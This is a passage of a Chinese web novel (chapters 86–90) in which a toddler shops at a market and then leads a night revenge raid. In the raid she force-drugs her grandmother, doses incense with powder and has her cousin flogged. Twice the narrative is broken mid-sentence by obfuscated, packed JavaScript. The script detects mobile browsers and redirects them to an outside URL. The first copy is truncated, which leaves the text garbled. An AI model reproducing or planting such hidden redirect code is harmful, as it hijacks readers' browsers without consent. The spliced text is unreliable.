这里虽不比外城门那般甲胄鲜明、戒备森严,但也有穿着皂衣的衙役值守,时不时地盘问几句。 时常能见到有人被拦下,好说歹说不让过,最后只能悻悻然地原路返回,可见这门里门外,身份等级的界限依然分明。 一门之隔,两边的景象简直像是两个世界。 门这边,还能见到些整齐的屋舍,富贵人家大宅门不少,偶尔还有冒出墙头的绿树。 门那边,一眼望去,多是低矮的泥屋、茅草房,挤挤挨挨地连成一片。街道变得狭窄而凌乱,地面上污水横流。 值守的衙役也换了一副模样,靠在墙根打着哈欠,对不远处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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马车刚一停稳,她就迫不及待地转过身,高高举起一双莲藕似的小胳膊,冲着绿果,奶声奶气却充满期待地催促:“绿果,抱!” 第86章 不会是银子打的吧? “窝要小糖人,这个……这个!……还有这个!”阿沅那双乌溜溜的大眼睛简直不够用了,小手指点得飞快,终于找到了肆意“买买买”的畅快感觉。 摊子上插着的糖人儿,有小老虎、小兔子,还有捏得活灵活现的孙悟空,每一个在她眼里都闪着诱人的光。 “爷爷,一共三个,给你六文。”绿果赶紧跟上来,熟练地数出铜板付账,看着自家小姐那兴奋得小脸泛红的模样,又是好笑又是无奈。 “小姐,您瞧瞧这个小哨子,那可是陶土烧的,吹起来声音脆生生、响着呢,可好玩了!才一文钱一个。”旁边的小贩眼尖,见是个被仆从簇拥、打扮精致的小娃娃,立刻堆起笑脸,拿着满满一托盘,都是捏成动物形状的小泥哨凑过来推销。 阿沅的注意力立刻被吸引过去,她接过哨子,试着吹了一下,“呜——”的一声,眼睛弯成了月牙。 随即,她小脑袋瓜里立刻盘算起来,掰着短短嫩嫩的手指头开始数:“这个要多多的,莲子、红袖、大牛、二牛、黑丫姐……还有小豆子……” 庄子里的玩伴名字一个个往外蹦,可她的小手指头掰来掰去,怎么都数不清,越数越迷糊,小眉头都皱了起来。 绿果见她这副模样,心领神会,直接对那小贩道:“这种小哨子,每种花样都要五个。是一文钱一个对吧?这东西容易摔碎,干脆拿五十个吧!买多要多送几个。” “行,十个多送一个,给你数五十五个。”小贩大概没做过那么大的生意,也很干脆,马上利落应下。 小姐乐意拿这些小玩意儿回去做人情,分给庄子里的小伙伴们,多买些也无妨。绿果乖乖掏出一串钱,数了数。 买下来的哨子立刻被分装成几个小布包,塞给了跟在后面已经有点手忙脚乱的十五和十六。 “风车?……要!那个大的,花花绿绿的大风筝,要!那个小的,燕子形状的小风筝也要。”阿沅简直成了散财小童子,看到什么新奇有趣的都要,光动动小嘴叫唤,反正不用自己掏钱,拿累了也不用自己提——有身后那两个“人形货架”呢。 她买得理直气壮,欢快得像只掉进米缸的小老鼠。 …… 还没走完两条街,紧跟在后面的十五和十六手上已经满满当当,挂满了各种小玩意儿:糖人、泥哨、风车、风筝、小拨浪鼓、粗糙但鲜艳的布老虎……活像两个移动的杂货摊。 就连绿果手上也拎了好几包油纸裹着的、散发着甜香或咸香的糕饼点心。 “这个要!”阿沅指着一串用贝壳串成的、在阳光下闪闪发亮的手链。 “这个也要!”她又瞧见了一个会翻跟头的木质小猴玩具。 …… 距离他们不过七八步远,同样挤在这狭窄嘈杂小巷里的安子,一个人手上已经抱了一堆东西——糖人、泥哨、风车……每样都跟前面那小丫头买的一模一样,只是有的,数量没那么多。 他看着自己那位小主子,正抿着嘴,眼神专注地盯着阿沅的一举一动,但凡阿沅买什么,他就立刻低声吩咐自己跟上买什么,内心简直无语凝噎,只能抬头望天: 我的小爷啊,人家三岁娃娃买的东西,您这……您也跟着买?买这么多回去,您跟谁玩啊?这要让人知道了,不觉得……有点丢人么? 而且,人家好歹有三个仆从跟着分摊,自己这边就孤零零一个,车马都堵在外头进不来。总这么全身挂得跟货郎似的也不是办法,他又没长出三头六臂。 安子内心哭嘤嘤,只能暗暗祈祷前面那位小姑奶奶:“求求您了,小祖宗,可千万别再买了,再买小的可真拿不动了……” 就在这时,阿沅再次停下了脚步。这一次,所有跟着她的人都心头一喜,绿果、十五和十六不约而同地看向眼前的摊子——这是个卖竹编器具的摊子,箩筐、背篓、竹筛子、还有各种竹制品摆了一地。 三人交换了一个欣慰的眼神:小姐,您可太贴心了!终于想到我们提着辛苦了,这是要给我们买个箩筐来装东西了吧? 而同样快被东西淹没的安子,更是直接惊喜地低呼出声:“我要买个背篓!” 话音未落,就见他家主子仗着身形灵活,三两下就挤到了摊子前,跟小奶娃之间只隔着两个挑东西的妇人了。动作之快,令人咂舌。 谁都不知道,阿沅这次停下,全因旁边一个插曲:一个穿着粗布衣裳的妇人,正叉着腰,一脸又气又无奈地瞪着在地上撒泼打滚、弄得满身灰尘的皮小子,嘴里来了这么一句:“我看你是皮痒痒,想吃‘竹笋炒肉’了是不是?看我不打死你个小讨债鬼!” 说完,妇人一眼瞥见旁边竹器摊子上用来捆扎的细长竹篾,顺手就抄起一根,不由分说就往那孩子穿着开裆裤的屁股蛋上抽去。 才抽了第一下,那约莫四五岁的娃娃就惊天动地地叫了声“疼!”,然后一骨碌从地上爬起来,跑得比兔子还快。 他原本还算完好的棉裤,屁股位置被竹篾抽过的地方,竟然绽开了一道口子,里面的旧棉絮都飞了出来一点。 那妇人手里的竹篾也不还了,举着就追了上去,边追边骂。街道上看热闹的人先是愣住,随即爆发出一阵善意的哄堂大笑。 还有人调侃:“这个娘可真舍得,这竹篾**可疼了,愿挨十棍都不愿这么抽。” 这场景,让阿沅那双大眼睛咕噜噜一转,小脑袋里忽然灵光一闪,觉得这细细长长、看起来不起眼的竹篾,好像比她的**在某些时候还好使呢! 她小嘴一撇,学着那妇人的凶悍语气,但配上她奶声奶气的嗓音,就显得格外滑稽:“哼!看窝不抽屎她!” 然后,她的小手毫不犹豫地指向摊子角落里用来编竹筐的一捆待用的篾条,“这个,要了!” 绿果惊得愣在原地,小姐要这个干什么?**?这…… 十六却隐约猜出了小姐的心思,他非但不制止,反而对绿果嘿嘿一笑,压低声音说:“买吧!听小姐的。不过别让我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110314|195865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背那么多,挑个十根结实点、两边打磨得薄一点、像利刃那种就行。回去记得用破布把一头包好,免得割了小姐娇嫩的小手。” “六爷,买……买吗?”好不容易挤上来的安子,看见自家那位平日里见到西域奇珍都面不改色的小主子,此刻竟然对着这再普通不过的竹篾两眼放光,话一出口就想抽自己嘴巴——这还用问吗? 果然,他立刻得到了答复。 “买!干嘛不买?”小主子的语气斩钉截铁,甚至带着一丝发现“新玩具”的兴奋。 “果然!果然……”安子再次无语望天,认命地悻悻掏出碎银子,也买下了一捆竹篾,心里哀叹:跟着这小丫头,真是啥稀奇古怪的都得备一份啊! 又经过一间飘着浓郁酒香的酒坊,看见店小二正给一个满身酒气的酒鬼打酒。 阿沅忽然又停下了,小鼻子动了动,然后指着酒坊里面:“这个,买!” “买酒?小姐,您要买酒?买几斤?”绿果更是糊涂了,小姐难道还想买回去给老爷不成? “小姐说买就买,问那么多做什么。小二,拿你们的小酒瓮,装满一瓮好酒!”这回换十五落落大方,语气干脆利落,他也觉得小姐可能是想带回去给庄子里的大人。 说完,他还颇有些得意地看向阿沅,一副“看我领会得多快”的讨赏模样。 “不四!”没想却换来阿沅一记嫌弃的小白眼,她急得跺了跺小脚,然后指向小二手中那两个正在使用的器皿——即使是现代穿过来的孟沅,也不知道这东西具体叫什么,姑且叫它酒漏和酒勺吧。 反正她觉得,这两样东西组合起来,似乎……很有用! “买他手上打酒的!”阿沅清晰地指明。 “这个?小姐,拿回去倒是可以玩玩水……但是冬天玩水可不行,夫人知道了会骂的……”绿果的话还没说完,那边小二也反应过来,连忙摇头:“这个?客官,这是咱们店里打酒的家伙什,不卖的。” 阿沅却道:“有用,有用,今晚有用。” 十六闻言,动作更快,一大块碎银子“啪”地就拍了上去,不由分说,直接从有点懵的小二手里“抢”过了那两件亮锃锃的铜制器皿。 小二本来下意识想喊“有人**”的,但掂量了一下手里沉甸甸、远超器物本身价值的银子,抛了两抛,脸上瞬间阴转晴,甚至咧开嘴笑了——傻子才不卖呢!得了这么大一块碎银,没准掌柜的还会赏他几十文。 安子背着一个大背篓,还在思考着“要是主子也非要买这打酒的玩意儿,是不是也有点……”这个哲学问题时,就听见自家小主人带着几分急切和“不能落后”的意味吩咐道: “还不快点!看见没,那边柜台里,另外一个小二手上还有一副一模一样的,赶紧也买下来!别让她全抢了!” 那边小二一听,拎起酒勺和酒漏相互碰了碰,都对自己的听觉产生了怀疑,这天天使用的物什,不会真是银子打的吧?怎么这么抢手? 第87章 身上功夫更胜一筹 安平侯府的子绫小筑 “春桃——春桃!死丫头又躲哪儿偷懒去了?”孟绫拖长了调子唤着,声音在雕花木门边转了个弯,带着明显的不耐。 她坐在那面嵌着螺钿的铜镜前已经快一盏茶的功夫了,镜面刚刚被秋梨用绢帕擦了又擦,映出一张精心养护了几个月的脸——双颊果真丰润了些,透出淡淡的桃花色,有了些许即将及笄少女的风韵。 她对着镜子挑了挑眉,那双遗传自父亲的浓黑眉毛便飞了起来,微吊的眼睛也跟着眨了眨,左瞧右看,自己先“噗嗤”笑出声,觉得这模样确实不比旁人差。 “来了来了,姑娘恕罪!”春桃捧着个黑漆描金托盘小跑进来,裙角绊在门槛上,差点摔了,托盘里的茶盏叮当作响,“奴婢刚去小厨房瞧了瞧云耳红枣汤炖得如何……” “行了,谁要听你那些。”孟绫打断她,指尖在梳妆台上一点一点,“明儿个长公主府的春日宴,才是顶顶要紧的事。那可是雪灾过后京城头一场大场面,听说连宫里都会有人来瞧热闹。长公主就那么一个世子,眼珠子似的疼着,这回摆宴,明眼人都知道是相看未来世子夫人的。” 她说着,身子往前倾了倾,镜子里那双眼睛便亮得灼人,“满京城的贵女,谁不削尖了脑袋想挤进去?衣裳、头面、举止、谈吐,一样都不能落下。我的衣裙呢?都搬出来,本小姐要好好拣选。” 她站起身,走到窗边木衣架旁,那里已挂了五六套衣衫,料子在透过窗棂的日光下泛着柔润的光泽。 “母亲瘫在床上动弹不得,父亲眼里只有他那新娶的娇滴滴的美娇娘,祖母年纪大了,精神一日不济一日……” 她低声自语,手指无意识地捻着一件樱草色裙衫的袖口,语气里透着一股与她年龄不太相符的冷清与算计,“我不为自己打算,还能指望谁?过了这个春日,我就十四了。” 春桃赶紧把托盘放下,打开一旁的红木大衣柜,小心翼翼地将里面叠放的衣裙一套套取出、展开。“姑娘您看,这是新做的藕粉色交领襦裙,配了月白的束腰,袖口和裙摆都绣了缠枝莲纹,用的是顶好的苏绣,线里掺了银丝的,走动起来隐隐有光,又雅致又不失贵气。”春桃抖开那套衣裙,藕粉的颜色确实娇嫩,衬得满室生春。 孟绫走过去摸了摸那滑腻的料子,是上好的蜀锦。“可惜有点薄,不过就它了。外头再配上那件纯白色的狐狸毛大氅。” 她顿了顿,目光转向梳妆台旁那个上了锁的紫檀木匣子,“头面……就选那套最精致的,赤金点翠镶红宝的那套。” 她几乎要脱口补上一句“就是大夫人柳氏嫁妆里的那套”,话到舌尖,又硬生生咽了回去,只从鼻腔里极轻地哼了一声,眼底掠过一丝混杂着鄙夷、嫉恨与心虚的复杂情绪。 前些日子为了凑齐归还大夫人嫁妆的单子,这套头面、那件白狐裘,还有做这套春装的蜀锦料子,本都该干干净净交出去的。 是她,趁着祖母精力不济,母亲起不了身,父亲不管后院琐事,偷偷瞒了下来,塞进了自己的私库。 若不这样,明日那般群芳争艳的场合,她孟绫拿什么去跟那些一二品大员受宠的贵女们比?难道真要荆钗布裙,徒惹人笑话吗? 这么一想,新仇旧恨便一股脑涌上心头。凭什么大房就能过得那般舒坦?凭什么那个没有三尺高的堂妹,都能有那般丰厚的嫁妆傍身? 她指甲掐进了掌心,暗暗咬牙,心底恶毒地盼着:最好今晚就有人来报,说大房那一支,从上到下,由于大雪压顶,全在庄子里死绝了才干净! …… 与此同时,只隔两条街小巷某处清静的小院里,却是另一番光景。 阿沅是被绿果半抱半扶地从马车里“卸”下来的。小人儿今日出门一趟,可谓“战果辉煌”——不仅肚子里塞满了东街的糖人、乳糕、南门的热酥酪,还搜罗回好几大筐“宝贝”。 此刻,院里石板地上背篓箩筐摆开一排,装的都是零碎杂物,瞧着就不值什么钱。 “哎哟……好饱……”阿沅一边哼唧,一边任由绿果给自己脱掉沾了尘的外衫。她穿着杏子黄的小袄和葱绿裤子,像颗饱满的、行动迟缓的鲜嫩豆子。 被绿果抱到铺着软厚锦被的床上时,她立刻四肢大大地摊开,成一个“大”字形,圆鼓鼓的小肚子在被面上顶出一个小山包。 “绿果姐姐……”她喘了口气,黑葡萄似的大眼睛望着帐顶,慢悠悠地、口齿却异常清晰地下达指令,“等柒叔回来,你告诉他……今晚,我们去安平侯府玩儿。” 她想了想,又补充道,小手还在空中比划了一下,“记得带上……打酒的那两个,还有……嗯,打人用的那细竹篾条。” 绿果正给她掖被角,闻言动作顿了顿,随即抿嘴笑了。 她家小姐虽然才三岁半,但这心思活络、恩怨分明的劲儿,可真不像个奶娃娃。她大概猜到小姐买那些“破烂”的用意了——酒漏怕是用来听墙根的,细竹篾条嘛…… 她眼睛弯了弯,应道:“知道了,小姐。待会儿绿果就去找出来,还在那竹篾条上给您缠些软布巾,抽人的时候省得硌了您娇嫩的手心。” 虽说这报复法子带着点孩童玩闹的稚气,但绿果觉得痛痛快快、当场就报,比那些阴私算计强多了。 她甚至暗自琢磨:要是小姐需要,她可不介意代劳,保管抽得那起子坏心眼的人嗷嗷叫,几十下都不带手软的。 主仆二人都没料到,往日都是她们兴致勃勃去“探听”别人家的动静,今日自家这小院的屋顶上,却悄无声息地伏着两道几乎与灰瓦融为一体的影子。 那两道影子听着屋里奶声奶气却条理分明的“部署”,面具下的嘴角似乎都抽动了一下。 待到绿果吹熄了灯,轻轻退出去,屋里传来小人儿均匀绵长的呼吸声,两道影子才如轻烟般一闪,瞬息掠过院墙,消失在暮色渐浓的街巷之中。 那身法之轻盈迅捷,轨迹之难以捉摸,竟比他们军中历练过的暗卫,还要高出不止一筹。 第88章 虎父无犬女 孟沅此刻满心想的都是给孟绫和那老虔婆点颜色瞧瞧,哪里知道她们明日还有什么劳什子春日宴要赴。 她一落地,就迈着小短腿,悄无声息地溜进松鹤苑正屋,微弱的烛光下,她黑葡萄似的大眼睛先扫了扫地上被迷香放倒的婆子,又转向雕花拔步床上那隆起的一团——老虔婆孟老夫人睡得正沉,喉咙里还发出不甚雅观的、断断续续的鼾声。 阿沅歪着头,盯着那张在睡梦中依然显得刻薄的脸,小手在袖袋里摸了摸那个硬硬的药丸子。那是她自己的空间出品,塞一颗下去就能让这老虔婆马上“卒中”,口歪眼斜,瘫在床上动弹不得。 她捏了捏那丸子,圆滚滚,硬邦邦的。犹豫了一小下,她改变了主意,没有把它拿出来。这样一下子瘫了,岂不是太便宜她了? 她嘴里小声地、碎碎念起来,奶音压得低低的,却带着一股执拗的认真劲儿:“泥给爹爹、娘亲和嘚嘚的好药……泥叽叽尝尝!”说着,她意念掏出一个形同缩小版小酒瓮的粗陶罐子。 罐子不大,但瞧着沉甸甸的,里面装的“药水”怕是有半斤重。 她双手费力地捧着罐子,仰起小脸,看向旁边蒙着脸只露出眼睛的孟柒和十六。 月光从窗棂漏进一丝,正好照在她脸上,她不但没害怕,脸上竟还露出了两个浅浅的、粉色的小酒窝,看着又甜又邪气。 “用那打酒的……灌进去。”她指了指十六手里拿着的工具——酒漏和酒勺。 孟柒看着这笑容“诡异”的小奶娃,面具下的嘴角抽了抽,声音有点发干:“用……这?”这阵仗,是要给老太婆直灌吗?这招式,怎么有点损呀? 阿沅唇角弯得更深,眼睛清澈透亮,仿佛在问一个再简单不过的问题:“柒叔难道……想一勺一勺喂?”那语气,好像在讨论是直接倒水喝还是用小杯子。 “还是用漏勺吧!我来!”十六倒是干脆,自告奋勇,不能直接割喉,这招用起来也解气。 旁边的十五话不多,只知道服从,默默上前帮忙,他大手捏住老太婆本来就松弛的下颌,略微一用力,那满是黄牙、带着口涎臭气的嘴便不由自主地张开了。 “嘿嘿!坏祖母,喝“好”药!”阿沅又笑了,这次是抿着嘴笑,眼睛弯成月牙,还仰头朝屋顶的方向看了一眼。 她这突如其来的小动作,把藏在屋顶瓦片下的三个人惊得心里一突,差点以为自己暴露了。 十六动作麻利,将酒漏那细长的嘴对准那张开的黄牙口一塞,孟柒也懒得再用什么酒勺,拎起罐子,直接地往漏斗里倒那黑乎乎的“药水”。 药水顺着漏斗流下,发出轻微的“咕嘟”声,有些漏进了喉咙,有些则从嘴角溢出来,弄脏了锦缎枕头。 老夫人即使在昏迷中,也被呛得喉咙里发出“嗬嗬”的怪响,身体无意识地抽搐了几下。 趁他们灌药的功夫,阿沅的目光落在了床头小几上那尊白玉观音像前。 观音慈悲低眉,面前的小香炉里,三炷安神香正燃着,袅袅青烟上升。阿沅伸出小指头,从怀里另一个小纸包里沾了点几乎看不见的粉末,轻轻一弹,撒在那香头上。 粉末遇火,极快地融入了烟雾之中,几乎没有任何异样。 她看着那烟,小声嘀咕,语气里带着一种孩童式的不满和计较:“马上卒中,也太便宜她了。先熬个七八天吧!爹爹、娘亲和哥哥受过的苦,也让她尝一遍。” 她指的是那种缠绵病榻、浑身无力、心悸惊厥却一时又死不了的熬煎。 直到阿沅带着几个人轻手轻脚离开,脚步声远去,屋顶上隐匿的三个人才如三片落叶,轻飘飘地从游廊顶上飞掠而下,落地时一点声息也无,闪身进了还弥漫着淡淡异香的屋内。 其中一个黑衣人蹲下身,检查了一下地上婆子和床上老夫人的状况,低声道:“主子,听那小娃的称呼和行事,应是侯府大房的孩子无疑。” 被称作“主子”的男孩看起来年纪也不大,闻言轻轻“呛”了他一声,声音里带着点少年人的清亮和傲气:“那还用你说?下药报复都带着孩子气,却又狠准稳,果然是虎父无犬女,是老侯爷和孟大人的血脉,错不了。” 他目光在屋内逡巡,对那所谓的“药水”和香炉更感兴趣。 “那我们?”安子的声音有些忐忑,他手里还拿着那套打酒器皿。 男孩却没回应他,而是径直走向刚才阿沅站着撒粉末的位置。他伸出手,从香炉拈起一小撮尚未完全燃尽的香灰,又掰了一小段未点燃的香枝,放在鼻下仔细嗅了嗅。那粉末几乎无色无味,混在香料里极难察觉。 他将香枝递给安子:“拿回去,找个嘴巴严实、见识广博的稳妥郎中仔细验看,到底撒的是什么东西。” 这时候,已经顺利摸进子绫小筑的阿沅几个,根本不知道自己在松鹤苑的一举一动,已经落入了另一伙“夜行客”的眼中。 子绫小筑里,孟绫正做着明日艳压群芳的美梦,睡得香甜。阿沅站在她床前,看着那张在梦中犹自带着得意笑意的脸,想到书中她后来那些恶毒行径,小胸脯气得一鼓一鼓。 “把她的裤子扒了。”阿沅语出惊人,奶音里带着一股狠劲儿。她真是恨不得立刻把这坏堂姐剥光了丢出去才好。 这话却把在场的几个男人吓了一大跳。特别是才十六七岁的十五和十六,脸上虽蒙着布,但露出的眼睛瞬间瞪大,耳根子以肉眼可见的速度红了起来。 两人不约而同地猛地退后好几步,齐刷刷背过身去,恨不得把脑袋埋进墙里。 孟柒到底是经过风浪的,虽也怔了一下,却最快反应过来。他轻咳一声,没有犹豫,直接吩咐绿果:“绿果,你来动手。注意些,别让那些竹篾条误伤了小姐。”说完,自己也颇为自觉地转过了身,面朝房门,做出一副非礼勿视的样子。 孟柒话音未落,绿果已经利落地丢掉了手上原本拿的竹篾条。上前一把掀开锦被,动作干脆得很,三两下就把孟绫的绸裤褪了下来,扔到一边。 阿沅捡起一根细长的竹篾条,小手握了握,刚想上前试试手感,却被绿果拦住。 “小姐,您别看,仔细污了您的眼睛。让奴婢来,保管叫她长记性!”绿果可不想让自家小姐沾手这种事。 绿果本想先试一鞭,掂掂力道,结果一篾条抽下去,却打偏了,“啪”一声脆响,只打在了床边的纱帐幔子上,帐幔晃了晃。 绿果脸上有点挂不住,耳朵尖更红了。她索性上手,抓住孟绫的两只脚踝,用力往床下一扯!孟绫上半身还在床上,双腿和白花花、光溜溜的屁股却陡然悬空,耷拉在了床沿边。 第89章 堂姐屁股怎么这么白呀? “哎呀!”阿沅轻呼一声,好奇地凑近看了看,发出天真又直接的感叹,“她屁股怎么这么白呀!”像个刚出笼的大馒头。 背对着她们的三个男人,身体瞬间僵硬得像石头,一动不敢动,连呼吸都屏住了。 绿果回头,看见他们那副样子,又好气又好笑,飞起一脚,不轻不重地踹在离得最近的十六的屁股上:“看什么看?还不出去!要不换你来动手?” 孟柒如蒙大赦,低声喝了一句:“走!”立刻带着面红耳赤、恨不得钻地缝的十五和十六,几乎是仓皇地“逃”出了内室,还顺手把门带上了。 阿沅在后面看着他们狼狈的背影,捂着嘴巴,发出“咯咯咯”的闷笑声,像只偷到油吃的小老鼠。 屋里,绿果没了顾忌,挑了根韧性最好的竹篾条,左右开弓。“啪!啪!啪!”清脆的抽打声在寂静的夜里格外清晰。 几十鞭下去,孟绫那白花花的屁股上布满了纵横交错的紫红色檩子,不少地方皮开肉绽,渗出血珠,看着血淋淋的,颇为吓人。 这般疼痛,终于把孟绫从深沉的睡梦中打醒了。她先是懵了一下,随即感到身后火辣辣、撕心裂肺的痛,差点尖叫出声。 但她到底不蠢,硬生生忍住了,不敢回头去看是谁在行凶,生怕惹恼了“煞星”,直接给她一刀结果了性命。 她只能死死咬住被角,疼得浑身发抖,喉咙里忍不住发出极力压抑的“哼哼”声,心里又惊又怕又羞愤——自己竟然光着屁股被人这样毒打!眼下除了装死、祈求对方快点打完离开,她竟毫无办法。 --- 屋顶上,安子透过瓦缝看得头皮发麻,压低声音问:“主子,我们……还进去吗?”他有点战战兢兢,亲眼看见那个被黑衣人夹在腋下还意犹未尽小不点,从他们头上掠过。再看向自家这位向来主意大的小主子,心里还是抖了抖。 那男孩自上而下又瞥了一眼里屋的惨状,目光却落在了床边另一张矮榻上。那里整整齐齐叠放着一套藕粉色衣裙、一件雪白的狐裘大氅,旁边还有个打开的妆奁,里面一套赤金头面在微弱的光线下也闪着诱人的光。 这定是为明日春日宴准备的。 “看见那衣服头面没?”男孩忽然觉得那粉的、白的、金的,有些刺眼,不顺眼得很。“把它们毁了。” 他转念一想,嘴角勾起一抹与他年龄不太相符的、带着点恶作剧却又异常犀利的笑:“往衣裙上抹点那女人屁股上的血,那件大氅也在内里、挨着腚的位置,割几道口子。记住,做得隐蔽些,别让人一眼看出来有了损伤。” 吩咐完,他身形一动,如夜鸟般轻盈地纵身一跃,消失在屋脊之后。 跟着他的那个高大黑衣人低声笑了笑,对还在原地发愣的安子丢下一句:“六爷这招,可真是……好得很。安子,这‘妙手著文章’的活儿,就交给你办妥了。”说罢,也紧随而去。 “主子!爷!这……这……”安子看着空荡荡的屋顶,又看看下面屋里那血糊糊的场面和那堆华丽的衣裳,气得差点跳脚,一屁股坐在瓦片上,压得底下几片瓦“咔咔”裂了几道缝。 “奴才……奴才也不要脸的吗?!”他哭丧着脸,最终还是认命地、悄无声息地滑下了屋檐,摸向那扇未关严的窗。这差事,真是缺了大德了! 那奶娃子是有仇,六爷,您平白无故的凑什么热闹? 对孟怀堂,阿沅本也欲让他出丑,可又觉得如果像孟绫这样用竹篾鞭打一下,光在自己院内出出丑,只是去不了学堂,对比起书中孟怀瑾在书院里受到的冤枉和羞辱,最后又疯疯癫癫、形销骨立地死在冰冷雪地里的凄惨一生,实在是太过便宜了他。 阿沅的指尖无意识地捻着袖口,眼底泛起寒霜——她要的不是一时皮肉之苦,而是要他身败名裂,要他也尝尝从云端跌落、被众人唾弃的滋味,要他体会那漫长而绝望的煎熬,体会生不如死。 只是仓促之间竟想不出一个既能解恨又不牵连自身的万全之策,只能先按捺住胸中翻腾的恨意,将这笔账狠狠记在心头。 她望向窗外沉沉夜色,暗暗发誓:这仇终究要报的,也不急在这一时,来日方长,总有叫他连本带利偿还的时候。 …… 孟绫光着屁股挨了那顿结结实实的鞭刑,又痛又辱,悲愤交加。 安子进屋时,她恨不得钻进地缝里去,只得咬牙闭眼继续装死,可身子却不受控制地微微发颤。极度的羞耻与疼痛交织之下,精神涣散,装着装着竟真又晕死了过去。 但夜寒侵骨,背上臀上火辣辣的伤口沾了冷气,更是刺痛钻心,没过一会儿,她便连打了几个响亮的喷嚏,生生把自己给激醒了。 第90章 老宋氏出不了门 醒来时,只觉得浑身像散了架,每一寸皮肉都在尖叫。她强忍着几乎要溢出喉咙的呜咽,用尽全身力气,一点一点爬起,手脚并用地再艰难地撑起身子滚了上去。 这才有气无力地冲外间嘶声骂道:“春桃!你们这些作死的小蹄子,都死哪去了?还不给我滚进来!”声音因疼痛和愤怒而扭曲嘶哑。 在外间守夜的正是她的贴身丫鬟春桃,因同样被下了药,睡得死沉,浑然不知里屋已天翻地覆。 孟绫就这么血淋淋、孤零零地蜷在锦被中,伤口处的血渍渐渐凝固,与被子黏连,稍一动弹便是撕扯般的剧痛。 她又惊又怕又疼,心头更是烧着一把窝火,只觉得长夜漫漫,寒意透骨,竟是自己生生熬到窗外天色透出灰白,外间终于有了起身的动静,才勉强唤得人进来侍候,那时天都快亮了。 “小姐,您、您这是怎么了?奴婢这就去求二夫人,赶紧请个郎中来瞧瞧。”春桃撩开帐幔,一眼见到孟绫惨白如纸的脸和床上到处隐约的血迹,吓得魂飞魄散,眼泪顿时夺眶而出。 她倒未必是真心疼这个平日动辄打骂、嚣张跋扈的主子,只是想到偏偏在自己值夜时出了这等骇人之事,主子若有个三长两短,由于迁怒,打死她也不过如同捏死一只蝼蚁。 “不行!绝对不行!”孟绫气得浑身发抖,若不是屁股疼得动弹不得,她早跳起来给春桃一记耳刮子了。 她压低声音,语气却狠厉如刀:“这是能随便外传的丑事吗?你长没长脑子!”她尤其忌惮如今执掌中馈的后娘焦氏。 焦氏虽是平妻,现在早就压过了她那瘫在床上,没一点用处的娘,也早就把她爹的心笼络了去。 那女人早就把她和弟弟视作眼中钉肉中刺,不过是碍着祖母还在,才维持着表面和睦。 若让她知晓自己出了这桩难以启齿的丑事,只怕不到半日就能“无意间”宣扬得满城风雨,那她这辈子就彻底完了。 以后别说嫁入高门大户、做那风光显赫的当家主母,怕是焦氏几句“为她好”的枕边风,她那糊涂爹就能把她随便许给个边陲小吏或是糟老头子,打发得远远的。 她厉声吩咐,每个字都像是从牙缝里挤出来的:“我记得妆匣底层还有一瓶上好的金疮止血粉,赶紧给我找出来抹上。今日之事,除了你、我和秋梨,若敢有第四个人知道,仔细我扒了你们的皮,再把你们老子娘统统发卖到矿上去!” 她喘了口气,又咬着牙补充:“天一亮,就让秋梨悄悄去街口回春堂买几副止疼的药回来熬上,就说我夜里贪凉,染了风寒。” 说罢,她虚弱地轻咳几声,闭目瘫软下去,有气无力地命令:“待会儿……用干净白布给我把伤处缠紧些,外面多罩两层厚实衣裙。辰时准时进来给我梳妆上妆,遮遮这脸色。” “小姐,您都伤成这样了,这、这是还要出门?”春桃大惊失色,声音都变了调。 看小姐眼下这气若游丝的模样,分明已去了半条命,这数九寒天,再折腾出去,万一有个好歹,她们这些贴身伺候的,哪里还有活路? “去!当然要去!”孟绫猛地睁开眼,眼中闪过一丝执拗的精光,“祖母昨日亲口说了,今天是她晋了一品诰命后头一回以这个头衔带我出门赴宴,哪个有头有脸的夫人不给她两分面子?这种露脸的机会千载难逢!” 她想起上次宫宴因家里出事而错过,悔得肠子都青了,这次春日宴据说贵胄云集,没准就能遇上一段好姻缘,钓回个金龟婿,她是万万不肯错失的。 疼痛而已,算不了什么!她自小骄纵,何曾受过这般皮肉之苦,此刻却硬生生将这份折磨当成了必须跨越的关卡,去的时候小心些,忍着点就是了,无非是咬碎银牙往肚里咽的功夫。 …… 巳时还差一刻,勉强打扮停当的孟绫,便由春桃和秋梨一左一右,几乎是架着搀扶出了院门,朝府门走去。 她脸上敷了厚厚的脂粉,嘴上点了鲜亮的胭脂,发髻簪了簇新的珠翠,一身锦绣衣裙,外罩华贵的纯白狐狸毛大氅,乍看之下确是花枝招展。 然而再多的脂粉也掩不住她眼底的青黑与脸上的惨白,更压不下那从骨子里透出的虚弱疲态。 她脚步虚浮,身子颤颤巍巍,全靠两个丫鬟暗中使力支撑,每挪一步,臀腿间的伤口便是一阵尖锐的刺痛,激得她额角渗出细密冷汗,只得紧紧蹙着眉尖。 若不动作,静静立着,那弱柳扶风、我见犹怜的姿态倒有几分惹人注目。 “祖母怎么还不出来?秋梨,你快去松鹤堂瞧瞧。”一直等到巳时正都过了,还不见孟老夫人身影,孟绫心中越发焦急,又因强撑站立而双腿发软,忍不住出声催促,声音里带上了不易察觉的颤抖。 门房处虽有椅子可坐,小屋亦能暂避寒风,可她伤在那种地方,如何坐得下去?一夜未眠,失血加之疼痛,她眼前已阵阵发黑,身子摇晃得越发厉害,几乎全副重量都压在了春桃身上。 “是,奴婢这就去……”秋梨慌忙应声,刚一松手,话音未落,却听一道透着威严与薄凉的女声自身后响起:“不用去了!老夫人今日身体抱恙,出不了门。” 